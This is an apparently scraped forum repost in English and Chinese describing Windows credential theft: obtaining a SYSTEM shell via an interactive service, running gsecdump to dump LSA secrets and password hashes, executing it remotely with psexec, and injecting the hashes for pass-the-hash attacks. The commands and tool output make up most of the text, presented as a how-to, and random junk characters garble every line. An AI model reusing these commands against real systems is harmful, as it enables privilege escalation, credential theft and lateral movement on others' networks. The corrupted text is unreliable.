o get a DOS Prompt as NT system:" A$ V2 E. ^0 n! M- K/ x _
* o' ], ~% ~( |9 @
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact, V, ]. B$ K- V* {# [, v
[SC] CreateService SUCCESS
4 W. l' g8 k5 D0 y6 z$ v3 l% q ^+ ~5 M0 X2 n6 q
C:\>sc start shellcmdline
6 `5 u1 m, ?1 G u/ L6 |" h5 V9 U9 p[SC] StartService FAILED 1053:" y. P$ @9 c8 l; D& H9 d8 m; u
$ I' R- N8 x. f! V0 E6 @The service did not respond to the start or control request in a timely fashion.
0 A$ @7 s) A& g! t8 r
; N+ N' U" |2 Z5 x S. ~. R/ }C:\>sc delete shellcmdline
$ A. t8 Q9 X- n# H$ W2 p[SC] DeleteService SUCCESS) E' B- K g& c) U7 d; x
7 e k: v, T: ]------------7 U' u( ~ M3 W7 ^ ?* t
/ n: E' s2 L# L H4 cThen in the new DOS window:/ }0 _7 c$ L, Y6 c+ T/ `. V
* q4 G2 |% I) f" V: `8 ^
Microsoft Windows XP [Version 5.1.2600]# A8 ~5 ~' n( ]$ j l
(C) Copyright 1985-2001 Microsoft Corp.9 q; r" G2 @+ v
( o+ [7 a1 e" e9 S3 b4 q4 T: tC:\WINDOWS\system32>whoami
+ L& @3 z }3 A# mNT AUTHORITY\SYSTEM
0 l; o* O5 F4 Q1 n' d
" f7 l+ }6 i9 `) o3 j% x$ o& B) rC:\WINDOWS\system32>gsecdump -h/ y& q% O5 M" Z/ S' T/ X& t! o
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)0 i8 d; m& w7 J
usage: gsecdump [options]6 D: o; J+ a' R
W7 ?: H$ D1 t) A; w0 l
options:* X7 {$ s; n, A) l
-h [ --help ] show help+ B2 O5 ]* U: }* F3 O, E- j' y4 g
-a [ --dump_all ] dump all secrets1 M" q- H" i% q$ o& X
-l [ --dump_lsa ] dump lsa secrets% j. }6 e7 A5 |
-w [ --dump_wireless ] dump microsoft wireless connections! L* m! `4 p u) X2 O; O; r( z$ X
-u [ --dump_usedhashes ] dump hashes from active logon sessions" h- v5 q. d! B/ w3 C1 r9 Q
-s [ --dump_hashes ] dump hashes from SAM/AD
+ D$ t' [9 S' f+ J$ u
! \8 y) }. A. v5 R& r8 LAlthough I like to use:
' E' m# D$ T$ q& ?* u6 e3 _4 j- F, Y2 G- L0 Y/ m0 w$ k/ z
PsExec v1.83 - Execute processes remotely
6 x$ u6 e) ~$ C1 ?6 }- HCopyright (C) 2001-2007 Mark Russinovich' u6 X8 O2 S# O8 a" H
Sysinternals - 链接标记[url]www.sysinternals.com[/url]0 _( g" u, |& `3 a
/ m% g3 ~. e! `0 T
C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
4 [; ?1 I! m z' g4 I% I# |' {" H% i) C9 x- o" e
to get the hashes from active logon sessions of a remote system.
( Z2 h6 D1 E1 M* Y# \
7 z$ o5 ?0 l3 ]8 V" J" r+ C; aThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.1 y$ {3 U9 Z5 A8 f+ h9 M
, I4 N% I) P& _& W提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
P( O: z+ x( m; ?原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]. i: J3 R# W8 ^/ q+ D7 Y2 Q$ ]
1 n; T) g3 }& u5 J我看了下原文出处,貌似是/2007/03/16/郁闷啊,差距。
" H+ n1 X7 v; q" E, r6 l" { |